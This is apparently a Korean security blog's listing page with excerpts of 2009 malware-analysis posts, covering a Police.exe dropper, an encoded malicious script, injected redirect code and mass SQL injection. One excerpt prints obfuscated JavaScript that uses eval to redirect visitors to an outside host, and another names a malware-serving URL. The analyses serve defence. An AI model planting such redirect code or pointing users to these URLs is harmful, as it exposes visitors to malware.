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악성코드101

Dropper/Agent.97280.D Analysis 1. 개 요 잊을 만하면 한번씩 사회공학기법(Social Engineering)을 이용한 악성코드가 출현했다. 이번에는 첨부파일인 Police.exe를 확인하고 경찰서로 출두하라는 내용과 함께 불특정 다수에게 유포되었는데 아마 메일을 받고 도둑이 제발 저린다고 순간 뜨끔했던 사용자들도 있었을 것이다. 이 문서에서 Dropper/Agent.97280.D(이하 Agent.97280.D)에 대해서 최대한 상세하게 분석해 보자. 2. VirusTotal Scan Result AhnLab-V3 2008.9.23.1 2008.09.23 Dropper/Agent.97280.D AntiVir 7.8.1.34 2008.09.23 TR/Agent.68096 Authentium 5.1.0.4 2008.09.23 W32/SY.. 2009. 5. 8.
여러가지 취약점으로 공격하는 악성 스크립트 분석 출처 : http://malwarelab.tistory.com/ 엊그제 네x버의 SecurityPlus 까페에 갔다가 획득하게 된 파일들입니다. 다운 받은 파일은 html과 js 파일이었는데 결국 하나의 파일을 통해 iframe이나 script로 연결된 파일들이었습니다. 가장 먼저 나오는놈부터 보겠습니다. help.htm bir.js 파일이 script 태그를 통해 삽입되고 있습니다. 바로 아래에는 익숙한 도메인이 보이는군요.. 현재 두번째 스크립트는 스크립트로써 동작하지 않고 그냥 텍스트 형태로 문자열만 보이고 있습니다. 그럼 bir.js 파일을 보도록 하겠습니다. 그냥 딱 보기에도 악성스크립트인게 보입니다. 정상적인 스크립트라면 이런식으로 인코딩하지 않겠죠.. 뭔가 구린게 있으니 인코딩을 하는거겠죠?.. 2009. 3. 5.
해외에서 삽입한 악성코드 아닌 광고코드 분석 관리중인 모 사이트에 아래와 같은 악성코드는 아닌 광고코드가 삽입되었으며, 침해 분석 결과 해외 아이피로 확인되었음. 일단 침해된 방법에 대해서는 차단하였으나 추가적인 시도 가능성 모니터링 필요. -- 삽입코드 -- 정상 코드로 변환하여.. -- 원형 코드 -- 추가 다운로드 코드 (bidch.js) -- que 입력값 : test -- 소스 코드 -- function f(str) { z="ion='"; d="win"; c="cat"; f7=str; b="dow.lo"; g="';"; i=7; j=21; if (j-14==i) eval(d+b+c+z+f7+g); } f('http://bestforyou.if.ua/feed/search.php?q=test'); -- 원형 코드 -- window.locati.. 2009. 3. 3.
Mass SQL Injection 대한 자료 모음 아래의 악성코드서버나 피해 사이트에 접속하면 악성코드에 감염되므로, 보안전문가가 아닌 분들은 절대 접속하지 마시기 바랍니다. 현재 악성코드의 name별로 꾸준히 찾아서 포스팅하려고 했으나, 이게 엄청나게 많군요. |g.js| |m.js| |4.js| |3.js| |2.js| |1.js| |ip.js| |jp.js| |fuckjp.js| |fjp.js| |a.js| |ads.js| js 확장자로 만 이루어 진게 대략 이정도 이군요. 또한, 계속 파일명이 바뀌고 있습니다. Google의 도움을 빌어 "약 1,250,000개 결과(한국어 적용시 약 60,500개)"를 얻을 수 있습니다. 악성코드 출처는 대략 아래와 같습니다. (Google에서 확인) http://www.killwow1.cn/g.js (약 1,.. 2009. 2. 27.
특정 악성코드만 찾아서 제거해주는 Norman Malware Cleaner 멀웨어[ malware ] 사용자의 의사와 이익에 반해 시스템을 파괴하거나 정보를 유출하는 등 악의적 활동을 수행하도록 의도적으로 제작된 소프트웨어로, malicious software(악의적인 소프트웨어)의 약자이다. 보통 '악성코드'로 번역된다. 자기 복제와 파일 감염이 특징인 바이러스를 포함하는 더 넓은 개념이라고 할 수 있다. 이른바 비(非)바이러스 악성코드(non-viral malware)라고 불리는 악성코드들 중에는 바이러스 못지않은 파괴력과 위험성을 가진 것들도 많다. 트로이 목마, 키보드 입력 유출 프로그램 등이 비바이러스 악성 코드이다. 또 원격관리 프로그램과 각종 스파이웨어 등을 꼽을 수 있다. 이들은 아직까지는 일반에게 대량 유포되거나 큰 피해를 야기했다는 보고는 없지만 대형사고의 잠.. 2009. 2. 23.